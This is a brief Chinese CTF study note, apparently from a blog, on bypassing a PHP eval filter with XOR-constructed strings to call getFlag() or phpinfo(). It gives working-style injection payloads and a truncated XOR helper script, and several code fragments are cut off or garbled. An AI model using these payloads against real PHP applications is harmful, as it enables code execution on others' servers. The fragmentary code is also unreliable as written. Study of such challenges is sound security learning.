题目来自梅子酒师傅:
1 | include "flag.php"; |
异或绕过的一个知识点:
wp在这里:
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html#autoid-3-3-1
引发思考的是3段代码
1 | $_=”\`{{{“^”?<>/”; $\_=\_GET 在这时候,$\_变成了\_GET, |
那么$GET[]的地方变成了getFlag
其实第二步后面的可以省略,真正有用的是()
变成了getFlag()
&的作用是引用传递
测试一下:
1 | function getFlag() |
我的payload为code=$_GETo;&o=getFlag
如果我不加上&,他并没有执行,传过去可能就是一个getFLag,执行的时候后面的()被忽略了
如何得出phpinfo():
1 | ?code=$\_=”\`{{{“^”?<>/”;${$\_}\[\_\]().”;”;&\_=phpinfo |
异或分解脚本:
1 | l=r"`-=[]\,./<>?:{}|++_)(*&^$#@!~)" |
那么,”[[[,=[“^”<>/&@<“=getFlag
如果payload为?code=”[[[
,=[“^”<>/&@<“.”()”
很遗憾的是不行,可能是因为异或的过程不能直接经过eval函数
()是一个动态执行的过程,卡在这里了